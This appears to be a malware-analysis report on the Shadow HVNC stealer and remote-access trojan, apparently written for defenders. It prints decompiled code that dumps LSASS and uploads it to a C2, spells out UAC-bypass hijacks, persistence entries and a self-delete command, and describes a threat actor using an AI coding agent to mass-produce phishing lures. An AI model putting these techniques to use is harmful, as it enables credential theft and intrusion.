What lss.exe produces is a minidump , a snapshot of a process’s memory saved to disk, in the same format Windows uses for crash reports. Most tools take the easy route: they call MiniDumpWriteDump from dbghelp.dll and let Windows assemble the file. This one never touches dbghelp — no DLL-load event, and no call for an EDR to watch; it builds the file itself. The copy is created by two syscalls in a loop: NtQueryVirtualMemory walks LSASS’s address space region by region, up to the top of user memory, and for every region that comes back committed and readable, NtReadVirtualMemory pulls the contents out a page at a time, skipping whatever won’t read. The copied memory is then wrapped in a ready-made minidump header the tool carries in .rdata, a template headed by the MDMP magic bytes (the minidump file signature, what parsers like mimikatz check first). What gets saved on disk is a valid minidump that mimikatz or pypykatz can parse as if they were looking at live LSASS. The file goes into the mimikatz-credentials staging folder, gets sent to the C2 in the harvest ZIP, and mimikatz only enters the picture later, on the TA’s machine.

The launch sequence

main.runCredDump function decompiles to the following:

tmp := os.MkdirTemp("", ...)                  // "[CREDS] MkdirTemp: %v"
exe := filepath.Join(tmp, "lss.exe")
dmp := filepath.Join(tmp, "lss.dmp")

os.WriteFile(exe, embeddedLss, 0755)          
                                              // "[CREDS] WriteFile lss.exe: %v"

cmd := exec.Command(exe, dmp)                 // lss.exe  - takes one argument
cmd.Start()                                   // "[CREDS] launching lss.exe (PID pending)..."
                                              // "[CREDS] lss.exe PID=%d running..."
cmd.Wait()                                    
                                              // "[CREDS] lss.exe exited cleanly"

raw  := os.ReadFile(dmp)                      // "[CREDS] dump size: %d bytes"
blob := zlib.Compress(raw)                    // "[CREDS] compressed %d -> %d bytes (%.1f%%)"
http.Post(fmt.Sprintf(
    "http://%s/api/upload-creds?id=%s&country=%s&ts=%s",
    c2, sessionID, country, timestamp))       // ts format: 2006-01-02_15-04-05

One log line gives us a clue here “lss.exe failed to start — admin required”. The LSASS dump needs admin rights, and that’s the whole reason Shadow HVNC has three UAC bypasses, and we will talk about them later.

Even if the operator never sends the “mimikatz” dump command, it happens anyway: the first collection runs lss.exe automatically, packs the dump as lsass_dump.zip into the mimikatz-credentials folder.

The Banking Watcher: over 6k Domains and an ETW Session Named RemoteX-DNS

There is an embedded domain list in Shadow HVNC, even titled # Shadow Checker — Domains List in its own header, containing 6,040 entries, 6,014 unique domains (Appendix B). The embedded category markers break it down: 7 PayPal, then US banking — 55 major banks, 670 regional banks, and 3,236 credit unions (aacu.org, abileneteacherscu.org, accentcu.org, all the way through zionsbank.com), then 187 Canada, 183 UK, six further EU sections totaling 332, 95 AU/NZ, 188 LATAM banks & fintech, 194 Africa banks & mobile money, 123 Middle East, 80 Japan, 39 China, 39 Korea, 123 Southeast Asia, 71 India & South Asia, 44 P2P payment domains, 162 gaming and Steam, and 212 cryptocurrency wallets & DeFi. The parser (main.parseDomainList) lowercases each line, skips # comments, strips https:///http:///www. prefixes, and cuts paths at /. The targeting is weighted toward American banking customers, with the remainder of the list covering the global financial sector.

main.loadDomainsFile feeding the embedded list to main.parseDomainList

Instead of hooking browsers or polling anything, main.startETWDNSWatcher opens a real-time ETW (Event Tracing for Windows) trace session, named RemoteX-DNS, and subscribes to provider {1C95126E-7EEA-49A9-A3FE-A378B03DDB4D}, Microsoft-Windows-DNS-Client. Every DNS resolution on the machine passes through this session via the go-etw bindings (Tdh.dll does the event decoding), and each query is checked against the target list. Stale sessions from previous runs are killed first (“[ETW] session %q already exists — killing stale session”). Creating the session requires admin or Performance Log Users membership, and even the code says so — ”[ETW] failed to create session: %v (need Admin or Performance Log Users group) — falling back to EnumWindows”. Again, UAC bypass first, then the good stuff.

Regardless of whether ETW comes up, the watcher loop polls EnumWindows on every ticker cycle: getAllWindowTitles collects every visible window title, and matchAnyWindow lowercases each title and does a plain substring search for every watched domain (“[DOMAINS] EnumWindows trigger: session started for %s”).

The moment the victim resolves or opens a listed bank (has to match the full domain string), a capture session opens against the victim’s visible screen: “[DOMAINS] ETW trigger: session started for %s”, frames stream in (“[DOMAINS] %s: frame %d (%d bytes)”), and when the session closes the entire capture recording gets uploaded to the C2 — ”[DOMAINS] session ended: %s (%d frames) — uploading” to POST /api/domain-screenshot?id=&domain=&country=.

So the operator ends up with a screen recording of the victim’s actual online banking session — balances, layouts, which bank, which flow. And because the hidden browser runs the victim’s cloned profile on the victim’s own machine, the session is still live: the operator doesn’t log in, they just pick up where the victim left off. The domain list is also operator-refreshable: loadDomainsFile prefers a domains.txt dropped on disk in the working directory over the embedded list (“[DOMAINS] loaded %d domain(s) from disk: %s”).

main.loadDomainsFile function decompiled: checks domains.txt first; otherwise, it falls back to the embedded list

Anatomy of a Broken Watcher

When you subscribe to an ETW provider, a match-keyword bitmask means “only deliver events whose keyword tag overlaps mine” — a bitwise AND, so sharing even one bit is enough. main.startETWDNSWatcher subscribes to Microsoft-Windows-DNS-Client with the mask 0x800000000000 (bit 47). The provider stamps its Operational events with 0x8000000000000000 (bit 63).

Shadow HVNC asks for:  0x0000800000000000
Events carry:          0x8000000000000000

The AND is zero; every DNS event is dropped before it reaches the callback. ETW accepts a filter that matches nothing without returning an error, so the session is created, the callback registered, and the watcher stays connected but receives nothing. The shipped mask is four zeros short of the correct one.

Along with the blind ETW channel, the watcher polls window titles every 15 seconds and substring-matches each watched domain against the title text.

Test in the VM: cmd /c start “paypal.com” cmd opens a console whose title is exactly paypal.com. The next poll tick starts a capture session, and ~60 seconds after the title disappears (time.Since(lastSeen) >= 60s), it logs “session ended” and uploads to the C2. Note: the match requires the full domain, including the TLD. Chrome’s tab tooltip shows the URL, which makes it look like the title matches, but only the

Why does real browsing almost never trip it for me?The matcher needs the literal domain in a title, and real sites’

The HVNC Core, and the New “Backstage” Sessions

The hidden-desktop engine that gave Shadow HVNC its name is still here, and still the most polished part of the codebase. The payload creates a second Win32 desktop named RemoteXHidden (CreateDesktopW) and binds a dedicated worker thread to it (SetThreadDesktop). Everything the operator does runs on the second desktop, which is invisible to the victim. The name RemoteXHidden is visible to EnumDesktops, which makes it a handy detection artifact, any desktop beyond Default and Winlogon is worth a look. You can try with a one-liner host check:

$src='using System;using System.Runtime.InteropServices;public class DeskEnum{public delegate bool EnumProc([MarshalAs(UnmanagedType.LPWStr)] string n,IntPtr p);[DllImport("user32.dll")]public static extern IntPtr GetProcessWindowStation();[DllImport("user32.dll",CharSet=CharSet.Unicode)]public static extern bool EnumDesktops(IntPtr h,EnumProc cb,IntPtr p);}'; Add-Type $src; $cb=[DeskEnum+EnumProc]{param($n,$p) Write-Host "desktop: $n"; $true}; [DeskEnum]::EnumDesktops([DeskEnum]::GetProcessWindowStation(),$cb,[IntPtr]::Zero) | Out-Null

Screen capture has three paths, picked by target: full multi-monitor screenshots (kbinani/screenshot), a mode that sends only the parts of the screen that changed since the last frame (GDI dirty-rect deltas, JPEG-compressed via libjpeg-turbo), and direct page screenshots over Chrome DevTools Protocol when the target is a hidden browser. Live streaming compresses frames into H.264 video using go-openh264. The encoder DLL is not in the binary as we previously mentioned, and has to be fetched from Cisco’s official distribution site. In the detonation, the download fired the exact moment the operator opened the first HVNC session, before a single frame went out. Operator input travels the other way: keystrokes and clicks are injected as Windows input events (SendInput and mouse messages posted directly into the target window, with screen coordinates converted to that window’s coordinate space). BlockInput is imported too, called from main.setHiddenMode the moment a hidden session starts; the victim’s keyboard and mouse go dead while the operator’s clicks are posted straight into hidden windows. The same function also broadcasts SC_MONITORPOWER, so the victim’s screen goes dark at the same moment.

Detection can be easy here, because the binary touches disk in two predictable places. Shadow HVNC copies locked browser databases to .rxcopy right next to the original, so Login Data.rxcopy, Cookies.rxcopy, or cookies.sqlite.rxcopy appearing inside a browser profile folder is a dead giveaway. The profile-cloning side stages everything under %LOCALAPPDATA%\RemoteX\Profiles\, copying to a .staging directory first and renaming it into place when done. So, watch for *.rxcopy inside browser profile directories and for %LOCALAPPDATA%\RemoteX\Profiles\ (including leftover *.staging folders).

The panel has both as separate menu entries: Hidden Mode sends start_hidden_browser and launches the browser on the pre-staged clone — it never fights the victim’s browser for the profile. Backstage Mode sends start_backstage: it points –user-data-dir at the victim’s real profile, so the operator gets the live session instantly — current cookies, active logins, exactly what the victim’s browser has right now.

Chrome allows only one process to own a profile, and a second chrome.exe launched with the same –user-data-dir just hands off to the already-running instance. So the payload forcibly takes the profile: it kills the victim’s Chrome, launches its hidden copy on the now-free profile, and holds it. Each launch gets a generation tag — an epoch counter carried in the session URL (/ws/backstage-src?target=&generation=) - so stale commands from an old session can’t kill the new hidden browser.

A watchdog goroutine (startChromeBlocker) kills every chrome.exe except its own hidden one with OpenProcess/TerminateProcess on a timer, and keeps killing it if the victim relaunches. The log line is blunt: [CHROME-BLOCK] killed user chrome.exe PID=%d (hidden PID=%d). For the victim this looks like Chrome crashing and refusing to stay open. For a defender it’s a gift: any process repeatedly terminating browsers it didn’t spawn is worth a closer look.

For Chrome cookie theft, Shadow HVNC doesn’t build its own — it embeds the public ChromElevator v0.20.0 injector from @xaitax’s Chrome-App-Bound-Encryption-Decryption project on GitHub (carved from .data, MD5 1d04536714bb22a3e909525a7dd627f0, invoked as chrome_injector.exe -f all). The capabilities come straight from the project: direct syscalls with runtime SSN resolution, reflective hollowing of a suspended browser process, a ChaCha20-encrypted payload DLL injected in-memory, and COM IElevator abuse — the payload calls the browser’s own elevation service from inside a hollowed browser process, so the App-Bound Encryption checks pass and the master key is handed over. Then it’s a full SQL dump of every Chromium profile’s cookies, logins, credit cards, IBANs and tokens, written as JSON and inlcuded in the ZIP archive.

The Reverse Proxy Feature

How it works is that the operator picks a client, a target host:port, and a local port, with one-click presets for SOCKS5, RDP:3389, SSH:22, HTTP:80, HTTPS:443, SMB:445, MySQL:3306, MSSQL:1433, and VNC:5900, and hits Start Tunnel. The Active Tunnels table tracks status, external access address, traffic counters, and uptime per tunnel.

The panel exposes it as three control actions, straight out of the handleControl dispatch: start_proxy (params conn_id, target), start_socks5 (param conn_id), and stop_proxy (param conn_id).

With generic tunnel mode, the payload connects to the requested target from the victim machine, net.DialTimeout(“tcp”, target, 10s), stores the connection in a sync.Map under its conn_id, and moves bytes in both directions with a 32 KB read loop (“[PROXY] connected to %s (id=%d)”, “[PROXY] dial %s (id=%d): %v”, “[PROXY] closed id=%d”). The payload connects to whatever internal target the panel specifies and relays the operator’s traffic through the victim, so to the target it’s just the victim machine talking, with the victim’s IP. Whatever the infected machine can reach (a neighbor over RDP, a file server over SMB), the operator can now reach too.

With SOCKS5 mode, the payload goes a bit further: the payload starts a full SOCKS5 server on a random loopback port (net.Listen(“tcp”, “127.0.0.1:0”)) and feeds the operator’s stream into it through the same tunnel (“[SOCKS5] started on %s (id=%d)”). That gives the operator a standard SOCKS5 endpoint — any of their tools can use it, and every connection they request exits from the victim machine, with the victim’s IP.

Tunnels are multiplexed over the existing C2 WebSocket as binary frames:

Bytes	Field	Description
`0x14`	type	This frame is proxy data
`0x00 0x00`	reserved	Always zero
`uint32 (big-endian)`	total length	Where this frame ends and the next begins
`uint32 (big-endian)`	conn_id	Which open connection gets the payload
`variable`	payload	The bytes being relayed

The Rest of the Stealer…

There are 42 main.collect* functions in Shadow HVNC (full list in Appendix A). Gecko-based browsers get their logins.json/key4.db treatment with in-process NSS decryption ([GECKO] tags). Roughly seventy named crypto-wallet targets, both desktop and browser-extension (full lists in Appendices B and C), are copied along with Telegram tdata, Discord token LevelDBs, and Steam’s session files (steam_tokens.txt, steam.zip, plus an on-demand refresh_steam_token command).

refresh_steam_token is Steam account takeover in a single command. It pulls the session JWTs out of Steam’s config.vdf and loginusers.vdf and copies the ssfn sentry files — Steam’s device-authorization proof, the file that lets Steam Guard skip the email code on a recognized machine. Everything is zipped into steam.zip along with a token.txt and uploaded to C2 via /api/upload-data.

The collectors reach beyond just gaming and wallets. WiFi profiles, VPN configs (TorGuard, AzireVPN, IPVanish, OpenVPN, NordVPN, Mullvad, ExpressVPN, Windscribe, ProtonVPN, CyberGhost, Surfshark, WireGuard), ~/.ssh, .gitconfig/.netrc, AWS/Azure/GCP credential files, and .pypirc/composer_auth.json/terraform_credentials.json are all in scope. So are eight password-manager products, Outlook/MSAL token caches plus seven more email clients, and the Windows Vault via CredEnumerateW. Remote-access tooling is covered too — AnyDesk, TeamViewer, mRemoteNG, Royal TS, FileZilla, WinSCP, and PuTTY.

main.collectSeedPhrases ([SEED]) does content scanning for BIP39-style seed words and passphrases, not just file grabbing — a meaningful escalation for crypto theft. collectTwoFactorBackupCodes looks for recovery, onetime, *codes files — artifacts that enables account-recovery attacks. And collectSensitiveFiles ([SENSFILES]) collects documents by identity keyword: id card, passport, tax return, payslip, birthcert, residency, insurance, debit card, utility bills, medicare, mortgage, 1099 — a keyword set aimed at gathering the documents needed for identity theft. Everything gets normalized, deduplicated into All Passwords.txt, passwords_unique.txt, passwords_encrypted.txt.

The RAT fundamentals are also present here: a WH_KEYBOARD_LL keylogger that uploads to /api/keylog every 60 seconds; live clipboard monitoring and remote clipboard write (used for crypto-address replacement); webcam snaps taken through an embedded PowerShell script with WIA (Windows Image Acquisition, the built-in camera/scanner API); a full interactive terminal channel; and a file manager with a server-side fetch endpoint.

What Actually Leaves Your PC

Everything above is what the binary can do. So, this section is what it did do: the sample was detonated in an isolated VM, and the harvest bundle it produced was captured with directory name 2026-07-22_23-06-49. Eighteen megabytes and 26 files. Here’s the tree, annotated with the code that produced each piece:

2026-07-22_23-06-49/
├── mimikatz-credentials/
│   └── lsass_dump.zip                    lss.dmp
├── Chrome/
│   ├── Default/cookies.json              ┐ ChromeElevator injector output:
│   ├── Default/cookies.txt               ┘ cookies in JSON
│   └── fingerprint.json                  browser fingerprint
├── Cookies/
│   ├── Cookies_Chrome_Default.txt        ┐ normalized per-profile cookie dumps
│   └── Cookies_Firefox_6ukz128v.txt      ┘ (convertChromeCookiesJSONToTxt)
├── Firefox/
│   └── 6ukz553v.default-release/
│       ├── cookies.json                  ┐ collectFirefoxData - per-profile
│       └── cookies.txt                   ┘ cookie extraction (cookies.sqlite)
├── privileges/
│   ├── whoami_all.txt                    cmd /c whoami /all
│   ├── whoami_priv.txt                   cmd /c whoami /priv
│   └── net_user.txt                      cmd /c net user REM
├── lateral-movement/
│   ├── local_admins.txt                  cmd /c net localgroup administrators
│   ├── local_users.txt                   cmd /c net user
│   └── network_map.txt                   cmd /c arp -a  +  cmd /c net use
├── RDPConnections/
│   ├── mru_hosts.txt                     HKCU\Software\Microsoft\Terminal Server Client\{Default,Servers}
│   ├── active_sessions.txt               session enumeration
│   └── terminal_services_events.txt      wevtutil - TERMSRV Operational log
├── EnvironmentVariables/
│   └── SystemEnvironmentVariables.txt    full env dump
├── WiFi/
│   └── wifi_profiles.txt                 WLAN profiles
├── SeedPhrases/                          seed phrases
├── SensitiveFiles/
│   └── Desktop_ShadowHVNC-v5.5_Server_data_XX_RX-BF3342B3A7EFAC24_keylog.txt   - keyword-grabbed doc
├── InstalledBrowsers.txt                 installed browsers
├── InstalledSoftware.txt                 installed programs
├── ProcessList.txt                       running processes
├── Screenshot.jpg                        the victim's desktop (283 KB)
└── url_uniq_cookies.log                  cookie-domain list (ranks cookie domains by count)

It’s worth noting that the browser fingerprintfingerprint.json doesn’t just say “Chrome exists” — it records the exact browser build (150.0.7871.182), the profile path, and the machine’s security posture: enterprise_managed: true, password_manager_enabled: false, autofill_enabled: true, safe_browsing_enabled: true, plus the installed extension list.

Yandex Browser deserves its own section. First, let’s cover some background. Yandex Browser keeps two separate password stores. There’s the inherited Chromium one — User Data\Login Data, AES-256-GCM blobs with the v10 prefix, master key in Local State under os_crypt.encrypted_key and DPAPI-wrapped. And then there’s Yandex’s own password manager — the one the browser’s default “Save password?” prompt actually feeds, which lives in Ya Passman Data (plus Ya Credit Cards), protected by a completely different sealed-key scheme: an encrypted_encryption_key wrapped in RSA-OAEP, an encrypted_private_key wrapped in AES-GCM under a PBKDF2-SHA256 key derived from the user’s optional master password, and per-record AES-256-GCM with a SHA-1 hash of the login fields as additional authenticated data. The open-source YandexDecrypt PoC implements that scheme in about 150 lines of Go. But Shadow HVNC doesn’t — the native vault isn’t decrypted; it isn’t even copied.

What this binary does have is two dedicated Yandex collectors. main.collectYandexPasswords walks %LOCALAPPDATA%\Yandex\YandexBrowser\User Data, pulls the master key from Local State via main.readChromiumAESKey (JSON-unmarshal os_crypt.encrypted_key -> base64 -> strip the DPAPI prefix → CryptUnprotectData -> 32-byte master key), then runs each profile through the shared main.collectChromiumPasswords. The decryptor, main.decryptChromiumValue, opens with a format tag: blobs starting with v10 are AES-256-GCM (12-byte nonce right after the tag, master key from Local State); anything without the tag is an older raw-DPAPI blob. The decryptor’s first move is that tag test — shown in the decompile as integer comparisons, since Go compares short strings as packed integers: 12662 = 0x3176 → bytes 76 31 = “v1”, and 48 = 0x30 = “0”.

The decryptor’s format check — blobs starting with “v10” go to AES-GCM, everything else falls to DPAPI

The cookie collector is the broken one. main.collectYandexData locates each profile’s Network\Cookies, copies it to a .rxcopy to dodge the SQLite lock, opens it read-only, and queries the cookies table. Then it decrypts every encrypted_value with main.dpiapiDecrypt — yes, really spelled dpiapi in the binary and that function is just a CryptUnprotectData wrapper. Since Chrome 80, Chromium-family cookies, Yandex included, are v10 AES-256-GCM blobs, not DPAPI blobs. So against any modern install, the Yandex cookie pipeline doesn’t work.

The Watchdog: Eight Ways Back In

The third carved PE (MD5 9675c957a5fded266939e314abff2078) is a completely standalone Go binary, the binary’s resurrection engine. The binary drops it to %LOCALAPPDATA%\Microsoft\Windows\WmiPrvSE.exe and launches it on every C2 connect, unconditionally, from a goroutine spawned inside connectAndRun. The two processes (Shadow HVNC and watchdog or WmiPrvSE.exe) keep each other alive: the watchdog waits on the binary’s PID and relaunches it the moment it dies, and the HVNC binary does the same in reverse; if the watchdog goes missing, the payload drops a fresh copy and starts it again.

Shadow HVNC owns the RemoteX Run value and the winSvc service (mouse driver watchdog helper) described in the Startup Mess section. The watchdog, when launched in –guard mode, immediately installs its own persistence:

Run keys — WindowsManagementInstrumentation in both HKCU and HKLM, each carrying the command line: “” –watch –exe “”, where is the path to the watchdog copy itself, e.g. C:\Users\AppData\Local\Microsoft\Windows\WmiPrvSE.exe and is the path to the Shadow HVNC, e.g. %LOCALAPPDATA%\Microsoft\Windows.exe
Logon script — HKCU\Environment\UserInitMprLogonScript
Scheduled tasks— six entries: MicrosoftWindowsManagementHost (ONLOGON), MicrosoftWindowsManagementHostBoot (ONSTART), MicrosoftWindowsManagementHostPerf (every 10 minutes), MicrosoftWindowsManagementClient (ONLOGON), MicrosoftWindowsManagementClientBoot (ONSTART), MicrosoftWindowsManagementClientPerf (every 5 minutes)
Startup folder — WindowsSystemComponent.lnk
PowerShell profile injection— a launch line (Start-Process -WindowStyle Hidden -FilePath ‘%s’) appended to both Documents\WindowsPowerShell\profile.ps1 (PS5) and Documents\PowerShell\profile.ps1 (PS7). Every PowerShell window executes the profile silently before showing a prompt, so any console opened by any means relaunches the payload.
An WMI event subscription — a 30-second Win32_LocalTime heartbeat that re-executes the target (described below under The Binary, Up Close section)
Active Setup and Winlogon persistence — writes a StubPath value under HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components{F5073CF3-1E3A-4B2E-9A5D-B1C2D3E4F506} so the payload executes for every user at logon; also appends to the Userinit value under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, which normally contains only C:\Windows\system32\userinit.exe,.
All-users layer (when elevated) — copies both binaries into %ProgramData%\Microsoft\Windows\, HKLM Run values pointing at the copies, a shortcut under C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\, three SYSTEM tasks (ClientSystem, ClientSystemBoot, HostSystem)

The watchdog has its own four-method UAC bypass chain (fodhelper, computerdefaults, silentcleanup and cmstplua COM elevation). There is no “no persistence” mode in this binary. You remove one layer, and the others resurrect it. The only way out is the kill_switch command, which makes the payload invoke the watchdog with — kill. It then deletes the WindowsManagementInstrumentation Run values, UserInitMprLogonScript, and the Active Setup key; edits Winlogon Userinit — reads the value, removes its own entry, writes the rest back; removes all three WMI subscription objects via wmic; deletes every shortcut including the per-profile sweep; and deletes all nine scheduled tasks mentioned above and finally attempts to self-delete using a well-known delayed-deletion command:

cmd /c ping -n 3 127.0.0.1 > nul & del /f /q “”

It’s also worth noting that –kill is not a complete uninstall: it leaves behind the %ProgramData% copies of both binaries, the injected PowerShell profile lines, and the Shadow HVNC payload itself.

The Binary, Up Close

The watchdog has exactly three operating modes:

Mode	Description
`--guard --pid <n> --exe <path>`	Installs the full persistence stack, then watches process `<n>` and relaunches `<path>` when it dies
`--watch --exe <path>`	Lightweight resurrection only - polls every 30s for `<path>` and restarts it; installs nothing
`--kill`	Removal routine described above, then attempts to self-delete

The guard loop opens a handle to the target PID (OpenProcess) and calls WaitForSingleObject with an infinite timeout, which does exactly what it says: the watchdog sleeps until the target process dies. When the call returns, the target is dead; the watchdog waits 30 seconds, then relaunches it hidden (CREATE_NO_WINDOW

DETACHED_PROCESS).

After that first resurrection, it switches to a cheaper method: watch mode. Every 30 seconds, it takes a Toolhelp32 snapshot of all running processes and looks for the target’s full path, and if the target is missing, the watchdog relaunches it.

Let’s look at WMI persistence that was briefly mentioned above. The watchdog uses wmic to plant three objects in root\subscription: an __EventFilter named MicrosoftWindowsFilter with the WQL query:

SELECT * FROM __InstanceModificationEvent WITHIN 30 WHERE TargetInstance ISA ‘Win32_LocalTime’

It’s bound to a CommandLineEventConsumer named MicrosoftWindowsConsumer whose ExecutablePath is Shadow HVNC.

Elevation: the Four-Method UAC Bypass Chain

The watchdog does not require administrator rights, but it makes an effort to obtain them. main.installSelfPersistence is the function that installs every persistence layer listed above, first calling main.isElevated() (OpenProcessToken + GetTokenInformation(TokenElevation)). If the token is not elevated, it logs “[UAC] not elevated — attempting bypass chain” and runs main.tryUACBypass with per-method logging (“[UAC] trying %s…”, “[UAC] %s succeeded”, “[UAC] %s failed”). If all four fail, installation continues anyway with “[UAC] all bypasses failed — installing non-elevated layers only” and the watchdog persists as a normal user. The methods, in order:

fodhelper and computerdefaults — two utilities for the same registry hijack (redundancy because why not?): it creates HKCU\SOFTWARE\Classes\ms-settings\shell\open\command, sets its (Default) value to the quoted payload path and DelegateExecute to an empty string, then launches the auto-elevating system binary (fodhelper.exe or computerdefaults.exe) with the window hidden (CREATE_NO_WINDOW). Windows resolves the ms-settings: protocol through the per-user hijack and starts the payload elevated. After a 1.5-second wait, the hijack keys are deleted, so by the time anything inspects the registry the evidence is gone.
silentcleanup — the DiskCleanup windir hijack: creates a temp directory, copies the watchdog into it as \system32\cleanmgr.exe, sets the windir environment variable to the temp directory, then runs schtasks /run /tn “\Microsoft\Windows\DiskCleanup\SilentCleanup” /i hidden. The SilentCleanup task executes with highest privileges and resolves %windir%\system32\cleanmgr.exe through the hijacked windir.
cmstplua— COM auto-elevation. The object is acquired two ways: CoCreateInstance on CLSID {3E5FC7F9-9A51-4367-9063-A120244FBEC7} (CMSTPLUA) with IID {6EDD6D74-C007-4E75-B76A-E5740995E24C} (ICMLuaUtil), and, only if that fails, a CoGetObject moniker — ”Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}”. Once the code has the elevated ICMLuaUtil object, it needs to call that object’s ShellExec method, the function that launches a program with high privileges. COM methods are reached by index: the object is a table of function pointers (the “vtable”), and ShellExec lives at a specific slot in that table. The problem is the slot number isn’t the same on every Windows build — Microsoft has shifted the ICMLuaUtil layout over the years, so an index that works on one version misses on another. Instead of hard-coding one slot and hoping, the watchdog just tries slots 6 through 10, calling each with the payload path until one of them actually launches it (“[UAC] cmstplua ShellExec at vtable[%d] succeeded”).

Shadow HVNC Panel

When you run a server payload — the startup presents a bilingual (en/ru) prompt and a 16-byte machine fingerprint (shown as e.g. 5CCD6C0DBA9AD2AB6CC8752381A6E71D), then looks for license.key next to the executable or asks for a key to be pasted in.

A license key contains the prefix RMTX- followed by a base64url-encoded 129-byte blob. Decoded, that blob starts with the 4-byte magic RMTW, then packs five fields at fixed offsets:

offset 0x24 — one tier byte (1 is for Weekly; this is what the panel shows back as “✓ License valid — Weekly, N day(s) remaining”)
offset 0x25 — expiry timestamp, 64-bit big-endian
offset 0x2D — the 16-byte machine ID the key is locked to
offset 0x3D — a 32-bit serial number
offset 0x41 — a 64-byte Ed25519 signature covering the 65 bytes before it

Verification happens against a vendor public key hardcoded in the binary — f65bdff0bf9c807c96c9a768f63311b61f2bea981f9ce6f08306cac7d7b0f5e8 and the same key also sits next to the panel as a 32-byte pubkey.bin.

You can’t forge a key without the vendor’s private key, and because the machine ID is baked into the signed blob, a key made for one computer fails the signature check on any other.

The machine ID comes from nothing crazy, just the network adapters plus the hostname.

The binary lists every interface, skips loopback, and keeps anything with a MAC address, including disconnected adapters and tunnel pseudo-interfaces. Each MAC is formatted as lowercase colon-hex, the list is sorted, joined with

, and the hostname is appended at the end. The machine ID is the first 16 bytes of the SHA-256 of that string, displayed as uppercase hex. So the fingerprint would look like: sha256(“mac1

mac2

mac3

HOSTNAME”)[:16]:

host:
  input:  00:15:5d:11:22:33|08:00:27:aa:bb:cc|3c:52:82:44:55:66|
          3c:52:82:77:88:99|ac:de:48:00:11:22|ac:de:48:33:44:55|
          ac:de:48:66:77:88|f4:8c:50:99:aa:bb|WORKSTATION-01

  sha256(input)[:16] = 1F3A9C72D8046B5E9A71C2E8F5D60394

After local signature validation, the panel sends a POST request to a Shadow HVNC’s server:

POST hxxp://212.162.150[.]121/v1/verify
Content-Type: application/json

{"binary_hash": , "blob": , "key_hash": ,
 "machine_hash": , "proof": , "ts": }

The panel re-checks with the server roughly every 30 minutes. The verify request binds the license key, the machine fingerprint, and the SHA-256 of the panel binary itself. The server’s response includes a field the panel tests for a value beginning with disp, which is a vendor-side kill switch.

Hunting For More Panels and Finding …. a Loader and Vietnamese TAs?!

Finding live panels doesn’t require any hacking, really; it only requires a search bar. The panel helpfully titles its page RemoteX Control Panel, and internet-wide scanners index HTML titles. Paste that into Silent Push, for example, and you get the customer list. I’ve included the panel IPs in the _Indicators of Compromise_section.

One caveat for hunters: that title only catches the older builds. The newer version retitles the page — the build we analyzed serves its dashboard as Shadow HVNC.

These exposed instances appear to be running the older build (v2.2), which had no authentication at all prior.

Silent Push results for pages titled “RemoteX Control Panel”

Silent Push results for pages titled “Shadow HVNC”

While hunting for Shadow HVNC, I discovered a loader they released on August 13.

Shadow HVNC Loader advertisement (source: Telegram)

Digging further, I identified a Vietnamese threat actor, going under the handle @fishns, who had purchased the loader for lifetime access. The TA spread their payloads primarily via malspam, mostly leveraing Social Security (SSA) lures.

What stood out most, though, was how they are building the campaigns. The operators are using Claude Code, running Claude Opus, to mass-produce and localize their lure templates. In one session, the assistant output 25 Italian-language “copyright infringement” notices (fake DMCA/Diffida takedowns), each localized down to the language, the legal citations, and even the send-time window (their afternoon batches). The same tooling is aimed at templates for at least seven regions: the US, South Korea, Japan, Italy, Spain, Denmark, and Hong Kong.

A recurring detail across batches is the fake “download” button baked into every template. In the Italian notices it’s a counterfeit Excel button (“Scarica il file Excel,” complete with a hand-built green Excel icon); in the Korean ones it’s a spoofed PDF button with a red “PDF” document icon. In one session, the operator even directs the agent to make the PDF button look more professional by cloning it from an existing reference template.

One interesting detail is who is receiving the malspam. The sending console is organized by Facebook Page, each row pairs a numeric Page ID with the business’s name and a contact email, meaning the recipients are Facebook business-Page administrators. That’s the audience a fake copyright-infringement notice is built to panic: “Your Page has violated copyright — click here to appeal”. It ties the DMCA/Diffida lure straight to its intended victims. And the scale is pretty big: a single Korea batch shows 28,079 recipients queued, each tracked individually for send and read status.

This specific TA also likes to utilize HosterDaddy VPS to host PureRAT and Shadow Loader panel.

The TA appears to be using AI-assisted tooling not just for the lures, but for the sending console itself. Branded “Sheets Portal”, it reimplements a Google Sheets-style interface on a database backend, with Vietnamese UI labels. It’s a custom campaign manager that ingests recipient lists, pairs each Facebook Page ID with a business name and contact email, sends the localized lures, and tracks per-recipient send/read status at scale. A spreadsheet-mimicking app like this is exactly what an AI can produce quickly.

The threat actor’s custom “Sheets Portal”

The threat actor is actively exploring crypting services, including the one suggested by Shadow HVNC developers — Rosenthal Crypt.

It’s a clear example of a threat actor industrializing malspam generation with a frontier AI coding agent, using it not only as a localization-and-templating engine for the lures, but to build the app that distributes them. From the recipient database to the templates to the delivery-tracking dashboard, the entire multi-country operation is effectively AI-assembled.

Shadow HVNC Loader: Technical Analysis

The loader is the Shadow HVNC kit’s native loader, the Rust rewrite of the Go payload that was analyzed above. It receives jobs from the panel, downloads and hash-verifies payloads over pinned TLS, and carries the live remote-access channel (terminal, screen, input, hidden-desktop browser).

Configuration and C2

All configuration lives in one place: the configuration table of %LOCALAPPDATA%\Bridge\agent.db. The default C2 server is hardcoded in the binary. On database initialization, the loader reads the server_ip key; if it’s missing, it writes the hardcoded value back: INSERT INTO configuration(key,value) VALUES(‘server_ip’,’’)
ON CONFLICT(key) DO UPDATE SET value=excluded.value and logs configuration.default_server.applied. That write happens exactly once: it’s the only code path in the entire binary that writes server_ip, and nothing ever updates it afterward.

The loader only ever talks to four endpoints. The WebSocket at /api/agent/connect is the main channel — jobs and terminal I/O are sent over that channel, as well as results, screen frames. If the WebSocket can’t be established, the agent degrades to plain HTTPS long-polling against /api/agent/sync, posting its queued outbound messages and receiving jobs in the same request. The remaining two endpoints: /api/agent/enroll is used once, on first contact, to register the device and trade its public key for a server-assigned device ID; /api/agent/ca-recovery is the emergency path that replaces the pinned CA if TLS validation ever fails, authenticated by a signature rather than by the PKI it’s replacing.

Endpoint	Description
`wss://<server>/api/agent/connect`	Primary channel - jobs down, results and live sessions up
`https://<server>/api/agent/sync?wait_seconds=N`	HTTPS long-poll fallback when the WebSocket is down
`https://<server>/api/agent/enroll`	Device enrollment (first contact)
`https://<server>/api/agent/ca-recovery`	Signed CA rotation

